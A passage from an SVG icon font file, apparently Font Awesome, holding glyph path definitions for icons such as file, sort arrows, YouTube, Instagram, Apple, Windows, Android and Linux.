d="M1167 896q18 -182 -131 -258q117 -28 175 -103t45 -214q-7 -71 -32.5 -125t-64.5 -89t-97 -58.5t-121.5 -34.5t-145.5 -15v-255h-154v251q-80 0 -122 1v-252h-154v255q-18 0 -54 0.5t-55 0.5h-200l31 183h111q50 0 58 51v402h16q-6 1 -16 1v287q-13 68 -89 68h-111v164
l212 -1q64 0 97 1v252h154v-247q82 2 122 2v245h154v-252q79 -7 140 -22.5t113 -45t82.5 -78t36.5 -114.5zM952 351q0 36 -15 64t-37 46t-57.5 30.5t-65.5 18.5t-74 9t-69 3t-64.5 -1t-47.5 -1v-338q8 0 37 -0.5t48 -0.5t53 1.5t58.5 4t57 8.5t55.5 14t47.5 21t39.5 30
t24.5 40t9.5 51zM881 827q0 33 -12.5 58.5t-30.5 42t-48 28t-55 16.5t-61.5 8t-58 2.5t-54 -1t-39.5 -0.5v-307q5 0 34.5 -0.5t46.5 0t50 2t55 5.5t51.5 11t48.5 18.5t37 27t27 38.5t9 51z" />
    <glyph glyph-name="file" unicode="&#xf15b;" 
d="M1024 1024v472q22 -14 36 -28l408 -408q14 -14 28 -36h-472zM896 992q0 -40 28 -68t68 -28h544v-1056q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h800v-544z" />
    <glyph glyph-name="file_text" unicode="&#xf15c;" 
d="M1468 1060q14 -14 28 -36h-472v472q22 -14 36 -28zM992 896h544v-1056q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h800v-544q0 -40 28 -68t68 -28zM1152 160v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704
q14 0 23 9t9 23zM1152 416v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM1152 672v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23z" />
    <glyph glyph-name="sort_by_alphabet" unicode="&#xf15d;" horiz-adv-x="1664" 
d="M1191 1128h177l-72 218l-12 47q-2 16 -2 20h-4l-3 -20q0 -1 -3.5 -18t-7.5 -29zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1572 -23
v-233h-584v90l369 529q12 18 21 27l11 9v3q-2 0 -6.5 -0.5t-7.5 -0.5q-12 -3 -30 -3h-232v-115h-120v229h567v-89l-369 -530q-6 -8 -21 -26l-11 -11v-2l14 2q9 2 30 2h248v119h121zM1661 874v-106h-288v106h75l-47 144h-243l-47 -144h75v-106h-287v106h70l230 662h162
l230 -662h70z" />
    <glyph glyph-name="_329" unicode="&#xf15e;" horiz-adv-x="1664" 
d="M1191 104h177l-72 218l-12 47q-2 16 -2 20h-4l-3 -20q0 -1 -3.5 -18t-7.5 -29zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1661 -150
v-106h-288v106h75l-47 144h-243l-47 -144h75v-106h-287v106h70l230 662h162l230 -662h70zM1572 1001v-233h-584v90l369 529q12 18 21 27l11 9v3q-2 0 -6.5 -0.5t-7.5 -0.5q-12 -3 -30 -3h-232v-115h-120v229h567v-89l-369 -530q-6 -8 -21 -26l-11 -10v-3l14 3q9 1 30 1h248
v119h121z" />
    <glyph glyph-name="sort_by_attributes" unicode="&#xf160;" horiz-adv-x="1792" 
d="M736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1792 -32v-192q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h832
q14 0 23 -9t9 -23zM1600 480v-192q0 -14 -9 -23t-23 -9h-640q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h640q14 0 23 -9t9 -23zM1408 992v-192q0 -14 -9 -23t-23 -9h-448q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h448q14 0 23 -9t9 -23zM1216 1504v-192q0 -14 -9 -23t-23 -9h-256
q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h256q14 0 23 -9t9 -23z" />
    <glyph glyph-name="sort_by_attributes_alt" unicode="&#xf161;" horiz-adv-x="1792" 
d="M1216 -32v-192q0 -14 -9 -23t-23 -9h-256q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h256q14 0 23 -9t9 -23zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192
q14 0 23 -9t9 -23zM1408 480v-192q0 -14 -9 -23t-23 -9h-448q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h448q14 0 23 -9t9 -23zM1600 992v-192q0 -14 -9 -23t-23 -9h-640q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h640q14 0 23 -9t9 -23zM1792 1504v-192q0 -14 -9 -23t-23 -9h-832
q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h832q14 0 23 -9t9 -23z" />
    <glyph glyph-name="sort_by_order" unicode="&#xf162;" 
d="M1346 223q0 63 -44 116t-103 53q-52 0 -83 -37t-31 -94t36.5 -95t104.5 -38q50 0 85 27t35 68zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23
zM1486 165q0 -62 -13 -121.5t-41 -114t-68 -95.5t-98.5 -65.5t-127.5 -24.5q-62 0 -108 16q-24 8 -42 15l39 113q15 -7 31 -11q37 -13 75 -13q84 0 134.5 58.5t66.5 145.5h-2q-21 -23 -61.5 -37t-84.5 -14q-106 0 -173 71.5t-67 172.5q0 105 72 178t181 73q123 0 205 -94.5
t82 -252.5zM1456 882v-114h-469v114h167v432q0 7 0.5 19t0.5 17v16h-2l-7 -12q-8 -13 -26 -31l-62 -58l-82 86l192 185h123v-654h165z" />
    <glyph glyph-name="sort_by_order_alt" unicode="&#xf163;" 
d="M1346 1247q0 63 -44 116t-103 53q-52 0 -83 -37t-31 -94t36.5 -95t104.5 -38q50 0 85 27t35 68zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9
t9 -23zM1456 -142v-114h-469v114h167v432q0 7 0.5 19t0.5 17v16h-2l-7 -12q-8 -13 -26 -31l-62 -58l-82 86l192 185h123v-654h165zM1486 1189q0 -62 -13 -121.5t-41 -114t-68 -95.5t-98.5 -65.5t-127.5 -24.5q-62 0 -108 16q-24 8 -42 15l39 113q15 -7 31 -11q37 -13 75 -13
q84 0 134.5 58.5t66.5 145.5h-2q-21 -23 -61.5 -37t-84.5 -14q-106 0 -173 71.5t-67 172.5q0 105 72 178t181 73q123 0 205 -94.5t82 -252.5z" />
    <glyph glyph-name="_334" unicode="&#xf164;" horiz-adv-x="1664" 
d="M256 192q0 26 -19 45t-45 19q-27 0 -45.5 -19t-18.5 -45q0 -27 18.5 -45.5t45.5 -18.5q26 0 45 18.5t19 45.5zM416 704v-640q0 -26 -19 -45t-45 -19h-288q-26 0 -45 19t-19 45v640q0 26 19 45t45 19h288q26 0 45 -19t19 -45zM1600 704q0 -86 -55 -149q15 -44 15 -76
q3 -76 -43 -137q17 -56 0 -117q-15 -57 -54 -94q9 -112 -49 -181q-64 -76 -197 -78h-36h-76h-17q-66 0 -144 15.5t-121.5 29t-120.5 39.5q-123 43 -158 44q-26 1 -45 19.5t-19 44.5v641q0 25 18 43.5t43 20.5q24 2 76 59t101 121q68 87 101 120q18 18 31 48t17.5 48.5
t13.5 60.5q7 39 12.5 61t19.5 52t34 50q19 19 45 19q46 0 82.5 -10.5t60 -26t40 -40.5t24 -45t12 -50t5 -45t0.5 -39q0 -38 -9.5 -76t-19 -60t-27.5 -56q-3 -6 -10 -18t-11 -22t-8 -24h277q78 0 135 -57t57 -135z" />
    <glyph glyph-name="_335" unicode="&#xf165;" horiz-adv-x="1664" 
d="M256 960q0 -26 -19 -45t-45 -19q-27 0 -45.5 19t-18.5 45q0 27 18.5 45.5t45.5 18.5q26 0 45 -18.5t19 -45.5zM416 448v640q0 26 -19 45t-45 19h-288q-26 0 -45 -19t-19 -45v-640q0 -26 19 -45t45 -19h288q26 0 45 19t19 45zM1545 597q55 -61 55 -149q-1 -78 -57.5 -135
t-134.5 -57h-277q4 -14 8 -24t11 -22t10 -18q18 -37 27 -57t19 -58.5t10 -76.5q0 -24 -0.5 -39t-5 -45t-12 -50t-24 -45t-40 -40.5t-60 -26t-82.5 -10.5q-26 0 -45 19q-20 20 -34 50t-19.5 52t-12.5 61q-9 42 -13.5 60.5t-17.5 48.5t-31 48q-33 33 -101 120q-49 64 -101 121
t-76 59q-25 2 -43 20.5t-18 43.5v641q0 26 19 44.5t45 19.5q35 1 158 44q77 26 120.5 39.5t121.5 29t144 15.5h17h76h36q133 -2 197 -78q58 -69 49 -181q39 -37 54 -94q17 -61 0 -117q46 -61 43 -137q0 -32 -15 -76z" />
    <glyph glyph-name="youtube_sign" unicode="&#xf166;" 
d="M919 233v157q0 50 -29 50q-17 0 -33 -16v-224q16 -16 33 -16q29 0 29 49zM1103 355h66v34q0 51 -33 51t-33 -51v-34zM532 621v-70h-80v-423h-74v423h-78v70h232zM733 495v-367h-67v40q-39 -45 -76 -45q-33 0 -42 28q-6 17 -6 54v290h66v-270q0 -24 1 -26q1 -15 15 -15
q20 0 42 31v280h67zM985 384v-146q0 -52 -7 -73q-12 -42 -53 -42q-35 0 -68 41v-36h-67v493h67v-161q32 40 68 40q41 0 53 -42q7 -21 7 -74zM1236 255v-9q0 -29 -2 -43q-3 -22 -15 -40q-27 -40 -80 -40q-52 0 -81 38q-21 27 -21 86v129q0 59 20 86q29 38 80 38t78 -38
q21 -29 21 -86v-76h-133v-65q0 -51 34 -51q24 0 30 26q0 1 0.5 7t0.5 16.5v21.5h68zM785 1079v-156q0 -51 -32 -51t-32 51v156q0 52 32 52t32 -52zM1318 366q0 177 -19 260q-10 44 -43 73.5t-76 34.5q-136 15 -412 15q-275 0 -411 -15q-44 -5 -76.5 -34.5t-42.5 -73.5
q-20 -87 -20 -260q0 -176 20 -260q10 -43 42.5 -73t75.5 -35q137 -15 412 -15t412 15q43 5 75.5 35t42.5 73q20 84 20 260zM563 1017l90 296h-75l-51 -195l-53 195h-78q7 -23 23 -69l24 -69q35 -103 46 -158v-201h74v201zM852 936v130q0 58 -21 87q-29 38 -78 38
q-51 0 -78 -38q-21 -29 -21 -87v-130q0 -58 21 -87q27 -38 78 -38q49 0 78 38q21 27 21 87zM1033 816h67v370h-67v-283q-22 -31 -42 -31q-15 0 -16 16q-1 2 -1 26v272h-67v-293q0 -37 6 -55q11 -27 43 -27q36 0 77 45v-40zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5
h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="youtube" unicode="&#xf167;" 
d="M971 292v-211q0 -67 -39 -67q-23 0 -45 22v301q22 22 45 22q39 0 39 -67zM1309 291v-46h-90v46q0 68 45 68t45 -68zM343 509h107v94h-312v-94h105v-569h100v569zM631 -60h89v494h-89v-378q-30 -42 -57 -42q-18 0 -21 21q-1 3 -1 35v364h-89v-391q0 -49 8 -73
q12 -37 58 -37q48 0 102 61v-54zM1060 88v197q0 73 -9 99q-17 56 -71 56q-50 0 -93 -54v217h-89v-663h89v48q45 -55 93 -55q54 0 71 55q9 27 9 100zM1398 98v13h-91q0 -51 -2 -61q-7 -36 -40 -36q-46 0 -46 69v87h179v103q0 79 -27 116q-39 51 -106 51q-68 0 -107 -51
q-28 -37 -28 -116v-173q0 -79 29 -116q39 -51 108 -51q72 0 108 53q18 27 21 54q2 9 2 58zM790 1011v210q0 69 -43 69t-43 -69v-210q0 -70 43 -70t43 70zM1509 260q0 -234 -26 -350q-14 -59 -58 -99t-102 -46q-184 -21 -555 -21t-555 21q-58 6 -102.5 46t-57.5 99
q-26 112 -26 350q0 234 26 350q14 59 58 99t103 47q183 20 554 20t555 -20q58 -7 102.5 -47t57.5 -99q26 -112 26 -350zM511 1536h102l-121 -399v-271h-100v271q-14 74 -61 212q-37 103 -65 187h106l71 -263zM881 1203v-175q0 -81 -28 -118q-38 -51 -106 -51q-67 0 -105 51
q-28 38 -28 118v175q0 80 28 117q38 51 105 51q68 0 106 -51q28 -37 28 -117zM1216 1365v-499h-91v55q-53 -62 -103 -62q-46 0 -59 37q-8 24 -8 75v394h91v-367q0 -33 1 -35q3 -22 21 -22q27 0 57 43v381h91z" />
    <glyph glyph-name="xing" unicode="&#xf168;" horiz-adv-x="1408" 
d="M597 869q-10 -18 -257 -456q-27 -46 -65 -46h-239q-21 0 -31 17t0 36l253 448q1 0 0 1l-161 279q-12 22 -1 37q9 15 32 15h239q40 0 66 -45zM1403 1511q11 -16 0 -37l-528 -934v-1l336 -615q11 -20 1 -37q-10 -15 -32 -15h-239q-42 0 -66 45l-339 622q18 32 531 942
q25 45 64 45h241q22 0 31 -15z" />
    <glyph glyph-name="xing_sign" unicode="&#xf169;" 
d="M685 771q0 1 -126 222q-21 34 -52 34h-184q-18 0 -26 -11q-7 -12 1 -29l125 -216v-1l-196 -346q-9 -14 0 -28q8 -13 24 -13h185q31 0 50 36zM1309 1268q-7 12 -24 12h-187q-30 0 -49 -35l-411 -729q1 -2 262 -481q20 -35 52 -35h184q18 0 25 12q8 13 -1 28l-260 476v1
l409 723q8 16 0 28zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="youtube_play" unicode="&#xf16a;" horiz-adv-x="1792" 
d="M711 408l484 250l-484 253v-503zM896 1270q168 0 324.5 -4.5t229.5 -9.5l73 -4q1 0 17 -1.5t23 -3t23.5 -4.5t28.5 -8t28 -13t31 -19.5t29 -26.5q6 -6 15.5 -18.5t29 -58.5t26.5 -101q8 -64 12.5 -136.5t5.5 -113.5v-40v-136q1 -145 -18 -290q-7 -55 -25 -99.5t-32 -61.5
l-14 -17q-14 -15 -29 -26.5t-31 -19t-28 -12.5t-28.5 -8t-24 -4.5t-23 -3t-16.5 -1.5q-251 -19 -627 -19q-207 2 -359.5 6.5t-200.5 7.5l-49 4l-36 4q-36 5 -54.5 10t-51 21t-56.5 41q-6 6 -15.5 18.5t-29 58.5t-26.5 101q-8 64 -12.5 136.5t-5.5 113.5v40v136
q-1 145 18 290q7 55 25 99.5t32 61.5l14 17q14 15 29 26.5t31 19.5t28 13t28.5 8t23.5 4.5t23 3t17 1.5q251 18 627 18z" />
    <glyph glyph-name="dropbox" unicode="&#xf16b;" horiz-adv-x="1792" 
d="M402 829l494 -305l-342 -285l-490 319zM1388 274v-108l-490 -293v-1l-1 1l-1 -1v1l-489 293v108l147 -96l342 284v2l1 -1l1 1v-2l343 -284zM554 1418l342 -285l-494 -304l-338 270zM1390 829l338 -271l-489 -319l-343 285zM1239 1418l489 -319l-338 -270l-494 304z" />
    <glyph glyph-name="stackexchange" unicode="&#xf16c;" 
d="M1289 -96h-1118v480h-160v-640h1438v640h-160v-480zM347 428l33 157l783 -165l-33 -156zM450 802l67 146l725 -339l-67 -145zM651 1158l102 123l614 -513l-102 -123zM1048 1536l477 -641l-128 -96l-477 641zM330 65v159h800v-159h-800z" />
    <glyph glyph-name="instagram" unicode="&#xf16d;" 
d="M1024 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1162 640q0 -164 -115 -279t-279 -115t-279 115t-115 279t115 279t279 115t279 -115t115 -279zM1270 1050q0 -38 -27 -65t-65 -27t-65 27t-27 65t27 65t65 27t65 -27t27 -65zM768 1270
q-7 0 -76.5 0.5t-105.5 0t-96.5 -3t-103 -10t-71.5 -18.5q-50 -20 -88 -58t-58 -88q-11 -29 -18.5 -71.5t-10 -103t-3 -96.5t0 -105.5t0.5 -76.5t-0.5 -76.5t0 -105.5t3 -96.5t10 -103t18.5 -71.5q20 -50 58 -88t88 -58q29 -11 71.5 -18.5t103 -10t96.5 -3t105.5 0t76.5 0.5
t76.5 -0.5t105.5 0t96.5 3t103 10t71.5 18.5q50 20 88 58t58 88q11 29 18.5 71.5t10 103t3 96.5t0 105.5t-0.5 76.5t0.5 76.5t0 105.5t-3 96.5t-10 103t-18.5 71.5q-20 50 -58 88t-88 58q-29 11 -71.5 18.5t-103 10t-96.5 3t-105.5 0t-76.5 -0.5zM1536 640q0 -229 -5 -317
q-10 -208 -124 -322t-322 -124q-88 -5 -317 -5t-317 5q-208 10 -322 124t-124 322q-5 88 -5 317t5 317q10 208 124 322t322 124q88 5 317 5t317 -5q208 -10 322 -124t124 -322q5 -88 5 -317z" />
    <glyph glyph-name="flickr" unicode="&#xf16e;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM698 640q0 88 -62 150t-150 62t-150 -62t-62 -150t62 -150t150 -62t150 62t62 150zM1262 640q0 88 -62 150
t-150 62t-150 -62t-62 -150t62 -150t150 -62t150 62t62 150z" />
    <glyph glyph-name="adn" unicode="&#xf170;" 
d="M768 914l201 -306h-402zM1133 384h94l-459 691l-459 -691h94l104 160h522zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="f171" unicode="&#xf171;" horiz-adv-x="1408" 
d="M815 677q8 -63 -50.5 -101t-111.5 -6q-39 17 -53.5 58t-0.5 82t52 58q36 18 72.5 12t64 -35.5t27.5 -67.5zM926 698q-14 107 -113 164t-197 13q-63 -28 -100.5 -88.5t-34.5 -129.5q4 -91 77.5 -155t165.5 -56q91 8 152 84t50 168zM1165 1240q-20 27 -56 44.5t-58 22
t-71 12.5q-291 47 -566 -2q-43 -7 -66 -12t-55 -22t-50 -43q30 -28 76 -45.5t73.5 -22t87.5 -11.5q228 -29 448 -1q63 8 89.5 12t72.5 21.5t75 46.5zM1222 205q-8 -26 -15.5 -76.5t-14 -84t-28.5 -70t-58 -56.5q-86 -48 -189.5 -71.5t-202 -22t-201.5 18.5q-46 8 -81.5 18
t-76.5 27t-73 43.5t-52 61.5q-25 96 -57 292l6 16l18 9q223 -148 506.5 -148t507.5 148q21 -6 24 -23t-5 -45t-8 -37zM1403 1166q-26 -167 -111 -655q-5 -30 -27 -56t-43.5 -40t-54.5 -31q-252 -126 -610 -88q-248 27 -394 139q-15 12 -25.5 26.5t-17 35t-9 34t-6 39.5
t-5.5 35q-9 50 -26.5 150t-28 161.5t-23.5 147.5t-22 158q3 26 17.5 48.5t31.5 37.5t45 30t46 22.5t48 18.5q125 46 313 64q379 37 676 -50q155 -46 215 -122q16 -20 16.5 -51t-5.5 -54z" />
    <glyph glyph-name="bitbucket_sign" unicode="&#xf172;" 
d="M848 666q0 43 -41 66t-77 1q-43 -20 -42.5 -72.5t43.5 -70.5q39 -23 81 4t36 72zM928 682q8 -66 -36 -121t-110 -61t-119 40t-56 113q-2 49 25.5 93t72.5 64q70 31 141.5 -10t81.5 -118zM1100 1073q-20 -21 -53.5 -34t-53 -16t-63.5 -8q-155 -20 -324 0q-44 6 -63 9.5
t-52.5 16t-54.5 32.5q13 19 36 31t40 15.5t47 8.5q198 35 408 1q33 -5 51 -8.5t43 -16t39 -31.5zM1142 327q0 7 5.5 26.5t3 32t-17.5 16.5q-161 -106 -365 -106t-366 106l-12 -6l-5 -12q26 -154 41 -210q47 -81 204 -108q249 -46 428 53q34 19 49 51.5t22.5 85.5t12.5 71z
M1272 1020q9 53 -8 75q-43 55 -155 88q-216 63 -487 36q-132 -12 -226 -46q-38 -15 -59.5 -25t-47 -34t-29.5 -54q8 -68 19 -138t29 -171t24 -137q1 -5 5 -31t7 -36t12 -27t22 -28q105 -80 284 -100q259 -28 440 63q24 13 39.5 23t31 29t19.5 40q48 267 80 473zM1536 1120
v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="tumblr" unicode="&#xf173;" horiz-adv-x="1024" 
d="M944 207l80 -237q-23 -35 -111 -66t-177 -32q-104 -2 -190.5 26t-142.5 74t-95 106t-55.5 120t-16.5 118v544h-168v215q72 26 129 69.5t91 90t58 102t34 99t15 88.5q1 5 4.5 8.5t7.5 3.5h244v-424h333v-252h-334v-518q0 -30 6.5 -56t22.5 -52.5t49.5 -41.5t81.5 -14
q78 2 134 29z" />
    <glyph glyph-name="tumblr_sign" unicode="&#xf174;" 
d="M1136 75l-62 183q-44 -22 -103 -22q-36 -1 -62 10.5t-38.5 31.5t-17.5 40.5t-5 43.5v398h257v194h-256v326h-188q-8 0 -9 -10q-5 -44 -17.5 -87t-39 -95t-77 -95t-118.5 -68v-165h130v-418q0 -57 21.5 -115t65 -111t121 -85.5t176.5 -30.5q69 1 136.5 25t85.5 50z
M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="long_arrow_down" unicode="&#xf175;" horiz-adv-x="768" 
d="M765 237q8 -19 -5 -35l-350 -384q-10 -10 -23 -10q-14 0 -24 10l-355 384q-13 16 -5 35q9 19 29 19h224v1248q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1248h224q21 0 29 -19z" />
    <glyph glyph-name="long_arrow_up" unicode="&#xf176;" horiz-adv-x="768" 
d="M765 1043q-9 -19 -29 -19h-224v-1248q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v1248h-224q-21 0 -29 19t5 35l350 384q10 10 23 10q14 0 24 -10l355 -384q13 -16 5 -35z" />
    <glyph glyph-name="long_arrow_left" unicode="&#xf177;" horiz-adv-x="1792" 
d="M1792 736v-192q0 -14 -9 -23t-23 -9h-1248v-224q0 -21 -19 -29t-35 5l-384 350q-10 10 -10 23q0 14 10 24l384 354q16 14 35 6q19 -9 19 -29v-224h1248q14 0 23 -9t9 -23z" />
    <glyph glyph-name="long_arrow_right" unicode="&#xf178;" horiz-adv-x="1792" 
d="M1728 643q0 -14 -10 -24l-384 -354q-16 -14 -35 -6q-19 9 -19 29v224h-1248q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h1248v224q0 21 19 29t35 -5l384 -350q10 -10 10 -23z" />
    <glyph glyph-name="apple" unicode="&#xf179;" horiz-adv-x="1408" 
d="M1393 321q-39 -125 -123 -250q-129 -196 -257 -196q-49 0 -140 32q-86 32 -151 32q-61 0 -142 -33q-81 -34 -132 -34q-152 0 -301 259q-147 261 -147 503q0 228 113 374q113 144 284 144q72 0 177 -30q104 -30 138 -30q45 0 143 34q102 34 173 34q119 0 213 -65
q52 -36 104 -100q-79 -67 -114 -118q-65 -94 -65 -207q0 -124 69 -223t158 -126zM1017 1494q0 -61 -29 -136q-30 -75 -93 -138q-54 -54 -108 -72q-37 -11 -104 -17q3 149 78 257q74 107 250 148q1 -3 2.5 -11t2.5 -11q0 -4 0.5 -10t0.5 -10z" />
    <glyph glyph-name="windows" unicode="&#xf17a;" horiz-adv-x="1664" 
d="M682 530v-651l-682 94v557h682zM682 1273v-659h-682v565zM1664 530v-786l-907 125v661h907zM1664 1408v-794h-907v669z" />
    <glyph glyph-name="android" unicode="&#xf17b;" horiz-adv-x="1408" 
d="M493 1053q16 0 27.5 11.5t11.5 27.5t-11.5 27.5t-27.5 11.5t-27 -11.5t-11 -27.5t11 -27.5t27 -11.5zM915 1053q16 0 27 11.5t11 27.5t-11 27.5t-27 11.5t-27.5 -11.5t-11.5 -27.5t11.5 -27.5t27.5 -11.5zM103 869q42 0 72 -30t30 -72v-430q0 -43 -29.5 -73t-72.5 -30
t-73 30t-30 73v430q0 42 30 72t73 30zM1163 850v-666q0 -46 -32 -78t-77 -32h-75v-227q0 -43 -30 -73t-73 -30t-73 30t-30 73v227h-138v-227q0 -43 -30 -73t-73 -30q-42 0 -72 30t-30 73l-1 227h-74q-46 0 -78 32t-32 78v666h918zM931 1255q107 -55 171 -153.5t64 -215.5
h-925q0 117 64 215.5t172 153.5l-71 131q-7 13 5 20q13 6 20 -6l72 -132q95 42 201 42t201 -42l72 132q7 12 20 6q12 -7 5 -20zM1408 767v-430q0 -43 -30 -73t-73 -30q-42 0 -72 30t-30 73v430q0 43 30 72.5t72 29.5q43 0 73 -29.5t30 -72.5z" />
    <glyph glyph-name="linux" unicode="&#xf17c;" 
d="M663 1125q-11 -1 -15.5 -10.5t-8.5 -9.5q-5 -1 -5 5q0 12 19 15h10zM750 1111q-4 -1 -11.5 6.5t-17.5 4.5q24 11 32 -2q3 -6 -3 -9zM399 684q-4 1 -6 -3t-4.5 -12.5t-5.5 -13.5t-10 -13q-10 -11 -1 -12q4 -1 12.5 7t12.5 18q1 3 2 7t2 6t1.5 4.5t0.5 4v3t-1 2.5t-3 2z
M1254 325q0 18 -55 42q4 15 7.5 27.5t5 26t3 21.5t0.5 22.5t-1 19.5t-3.5 22t-4 20.5t-5 25t-5.5 26.5q-10 48 -47 103t-72 75q24 -20 57 -83q87 -162 54 -278q-11 -40 -50 -42q-31 -4 -38.5 18.5t-8 83.5t-11.5 107q-9 39 -19.5 69t-19.5 45.5t-15.5 24.5t-13 15t-7.5 7
q-14 62 -31 103t-29.5 56t-23.5 33t-15 40q-4 21 6 53.5t4.5 49.5t-44.5 25q-15 3 -44.5 18t-35.5 16q-8 1 -11 26t8 51t36 27q37 3 51 -30t4 -58q-11 -19 -2 -26.5t30 -0.5q13 4 13 36v37q-5 30 -13.5 50t-21 30.5t-23.5 15t-27 7.5q-107 -8 -89 -134q0 -15 -1 -15
q-9 9 -29.5 10.5t-33 -0.5t-15.5 5q1 57 -16 90t-45 34q-27 1 -41.5 -27.5t-16.5 -59.5q-1 -15 3.5 -37t13 -37.5t15.5 -13.5q10 3 16 14q4 9 -7 8q-7 0 -15.5 14.5t-9.5 33.5q-1 22 9 37t34 14q17 0 27 -21t9.5 -39t-1.5 -22q-22 -15 -31 -29q-8 -12 -27.5 -23.5
t-20.5 -12.5q-13 -14 -15.5 -27t7.5 -18q14 -8 25 -19.5t16 -19t18.5 -13t35.5 -6.5q47 -2 102 15q2 1 23 7t34.5 10.5t29.5 13t21 17.5q9 14 20 8q5 -3 6.5 -8.5t-3 -12t-16.5 -9.5q-20 -6 -56.5 -21.5t-45.5 -19.5q-44 -19 -70 -23q-25 -5 -79 2q-10 2 -9 -2t17 -19
q25 -23 67 -22q17 1 36 7t36 14t33.5 17.5t30 17t24.5 12t17.5 2.5t8.5 -11q0 -2 -1 -4.5t-4 -5t-6 -4.5t-8.5 -5t-9 -4.5t-10 -5t-9.5 -4.5q-28 -14 -67.5 -44t-66.5 -43t-49 -1q-21 11 -63 73q-22 31 -25 22q-1 -3 -1 -10q0 -25 -15 -56.5t-29.5 -55.5t-21 -58t11.5 -63
q-23 -6 -62.5 -90t-47.5 -141q-2 -18 -1.5 -69t-5.5 -59q-8 -24 -29 -3q-32 31 -36 94q-2 28 4 56q4 19 -1 18q-2 -1 -4 -5q-36 -65 10 -166q5 -12 25 -28t24 -20q20 -23 104 -90.5t93 -76.5q16 -15 17.5 -38t-14 -43t-45.5 -23q8 -15 29 -44.5t28 -54t7 -70.5q46 24 7 92
q-4 8 -10.5 16t-9.5 12t-2 6q3 5 13 9.5t20 -2.5q46 -52 166 -36q133 15 177 87q23 38 34 30q12 -6 10 -52q-1 -25 -23 -92q-9 -23 -6 -37.5t24 -15.5q3 19 14.5 77t13.5 90q2 21 -6.5 73.5t-7.5 97t23 70.5q15 18 51 18q1 37 34.5 53t72.5 10.5t60 -22.5zM626 1152
q3 17 -2.5 30t-11.5 15q-9 2 -9 -7q2 -5 5 -6q10 0 7 -15q-3 -20 8 -20q3 0 3 3zM1045 955q-2 8 -6.5 11.5t-13 5t-14.5 5.5q-5 3 -9.5 8t-7 8t-5.5 6.5t-4 4t-4 -1.5q-14 -16 7 -43.5t39 -31.5q9 -1 14.5 8t3.5 20zM867 1168q0 11 -5 19.5t-11 12.5t-9 3q-6 0 -8 -2t0 -4
